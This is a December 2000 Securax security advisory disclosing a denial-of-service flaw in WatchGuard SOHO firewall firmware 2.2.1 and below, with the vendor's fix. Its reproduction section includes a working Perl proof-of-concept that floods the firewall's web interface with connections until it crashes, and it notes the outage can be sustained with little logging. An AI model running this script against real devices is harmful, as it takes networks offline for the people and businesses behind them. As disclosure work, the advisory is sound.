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Securax-SA-10                                       Security Advisory

belgian.networking.security                                     Dutch

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Topic:          Watchguard SOHO 2.2 Denial of Service

Announced:      2000-12-04

Affects:        Watchguard SOHO Firmware 2.2.1 and below

Not affected:   Watchguard SOHO Firmware > 2.2.1

Vendor Status:  Contacted & Comfirmed

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					  http://www.securax.org/pers







         THE ENTIRE ADVISORY HAS BEEN BASED UPON TRIAL AND ERROR

  RESULTS.  THEREFORE WE CANNOT ENSURE YOU THE INFORMATION BELOW IS

  100% CORRECT.  THIS DOCUMENT IS SUBJECT TO CHANGE WITHOUT PRIOR

  NOTICE.



         PLEASE, IF YOU HAPPEN TO FIND MORE INFORMATION CONCERNING

  THE BUG DISCUSSED IN THIS ADVISORY, PLEASE SHARE THIS ON BUQTRAQ

  OR VULN-DEV.  THANK YOU,









I.   Background



 The Watchguard SOHO Firewall is a small personal hardware firewall

 used for xDSL, ISDN and Cable connections.  The Firewall uses a

 packet filtering based approach including Dynamic NAT'ting.  There

 is option for one machine in a DMZ and has support for VPN.  The

 SOHO model is intended for small office and home office users.  To

 configure the firewall there is a html interface accessible to the

 local side ( default ) and even remote side ( through password ).







II.  Problem Description



 Local and Remote users can crash the Watchguard SOHO Firewall using

 alot (+ 70) of GET requests to the webserver on the machine.  While

 sending these request we can see the free memory getting down very

 fast. (from 700k to 500k after just a few requests).







III.  Reproduction of the problem





 #!/usr/bin/perl

 #

 # You can also connect to the Watchguard SOHO through your

 # browser and press F5 like a maniac on speed to get the

 # firewall crashing.  So, either you run the .pl script or

 # you fire up your webbrowser... Either way, it works.

 # ----------------------------------------------------------

 # Disclaimer: this file is intended as proof of concept, and

 # is not intended to be used for illegal purposes. I accept

 # no responsibility for damage incurred by the use of it.

 # ----------------------------------------------------------

 # (c)Proof of concept, vorlon 

 # ----------------------------------------------------------

 use IO::Socket;



  $host = "your_watchguard_ip";

  $port = "your_port";

  $repeat = "100";

  $request = "GET / HTTP/1.0";



  print "Watchguard SOHO Denial of Service, connecting to $host:$port...\n";

  $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "Failed.\n";



   $counter = 0;

   print "Repeating request for $repeat times.\n";

    while($counter < $repeat) {

          print $socket "$request\n";

          $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "\nThe Watchguard SOHO has crashed.  BEEFCAKE!...\n";

          print ".";

          $counter += 1;

    }

   print "\nDone.\n\n";



   close($socket);







III. Impact



 After using this exploit, the Firewall has been rendered useless and

 will reboot or simply crash and burn ( in this case, you'll have to pull

 the plug to reset the machine ).  In case of a spontanious reboot, the

 downtime of the  firewall, thus functionality of the company, is

 considered to be between one minute and five minutes.  If one is

 constantly running exploit-code, the firewall can be kept under a

 constant outage.  This attack will not show up in the logfile except

 for a reboot notice.







IV.  Solution



 Upgrade to a more recent Firmware ( > 2.2.1 ).  Check the website

 for more information < http://bisd.watchguard.com >.  IMHO, a nice

 bughunt in their webservice should be nice ;-)







V.   Credits



 Cicer0 < davy@securax.be > for original error discovery -*- vorlon

 < filip@securax.be > for advisory, exploit code and additional

 testing.











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For more information                                 info@securax.org

Website                                        http://www.securax.org

                                                http://www.securax.be

Advisories/Text                           http://www.securax.org/pers

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